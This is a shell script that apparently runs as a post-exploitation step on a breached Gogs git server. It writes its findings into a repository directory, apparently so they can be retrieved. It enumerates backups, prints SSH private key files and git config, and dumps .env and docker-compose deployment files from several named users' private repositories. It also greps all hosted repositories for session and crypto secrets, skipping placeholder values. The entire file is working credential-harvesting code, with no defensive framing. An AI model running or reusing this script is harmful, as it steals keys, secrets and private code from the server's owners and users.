#!/bin/sh
OUT=/data/gogs/data/tmp/local-r/118/nslxlxsqfe/rce-lxlxsqfe.git
R=/data/git/gogs-repositories
LOG=$OUT/out2138b
{
echo "=== round2138b $(date -u) ==="
echo "--- /backup ls ---"; ls -la /backup/ 2>&1 | head -40
echo "--- /backup du ---"; du -sh /backup/* 2>/dev/null | head -40
echo "--- /backup find ---"; find /backup -maxdepth 2 2>/dev/null | head -80
echo "--- /backup candidate files ---"; find /backup -maxdepth 4 \( -iname "*.env" -o -iname ".env*" -o -iname "docker-compose*" -o -iname "*.yml" -o -iname "*.yaml" -o -iname "*.conf" -o -iname "*.sql" -o -iname "*.sh" \) -type f 2>/dev/null | head -100
echo "--- /backup secrets grep ---"; timeout 40 grep -r -a -i -l -E "SESSION_SECRET|CRYPTO_SECRET" /backup 2>/dev/null | head -20
echo "--- /data/ssh ---"; ls -la /data/ssh/ 2>&1; for f in /data/ssh/*; do echo "== $f"; head -c 1200 "$f" 2>&1; echo; done
echo "--- /home/git/.ssh ---"; ls -la /home/git/.ssh/ 2>&1; for f in /home/git/.ssh/*; do echo "== $f"; head -c 1200 "$f" 2>&1; echo; done
echo "--- gitconfig ---"; cat /home/git/.gitconfig 2>&1
echo "--- dump.git parts ---"; git --git-dir=$R/zoujiajian/dump.git ls-tree -l HEAD | head -12
echo "--- part_aa sha ---"; git --git-dir=$R/zoujiajian/dump.git rev-parse HEAD:part_aa
echo "--- sub2api deploy ---"
gd=$R/yhlxj/sub2api.git
for f in SERVER_DEPLOYMENT_2026-09-15.md deploy/docker-compose.yml deploy/docker-compose.standalone.yml; do
  echo "####FILE sub2api::$f"; git --git-dir=$gd show "HEAD:$f" 2>/dev/null | head -150
done
echo "--- env dumps ---"
for pair in "yhlxj/chatgptgo.git:.env" "zoujiajian/claudecode.git:DEPLOYMENT_GUIDE.md" "zoujiajian/nebula_job.git:docker-compose.yml" "zoujiajian/tokens-website.git:docker-compose.yml" "zoujiajian/yh-auditlimit.git:docker-compose.yml" "youzi/nebula.git:.env.production" "youzi/foxvip-fe.git:deploy/.env.production" "youzi/web-yinhe.git:.env.production"; do
  rr=${pair%%:*}; f=${pair#*:}; gd=$R/$rr
  echo "####FILE $rr::$f"; git --git-dir=$gd show "HEAD:$f" 2>/dev/null | head -50
done
echo "--- grep all repos HEAD for secret assignment ---"
for gd in $R/zoujiajian/*.git $R/yhlxj/*.git $R/youzi/*.git; do
  r=$(git --git-dir=$gd grep -I -n -E "SESSION_SECRET=|CRYPTO_SECRET=" HEAD 2>/dev/null | grep -v -E "random_string|change_me|please_change_me|^[^:]*:[0-9]+:#|example" | head -15)
  [ -n "$r" ] && { echo "### $gd"; echo "$r"; }
done
echo "--- local-r dirs ---"; ls /data/gogs/data/tmp/local-r/ 2>/dev/null | head -40
echo "--- deep scan still running? ---"; ps auxww 2>/dev/null | grep -E "cat-file|grep -a" | grep -v grep | head -5
echo "=== end round2138b $(date -u) ==="
} > $LOG 2>&1
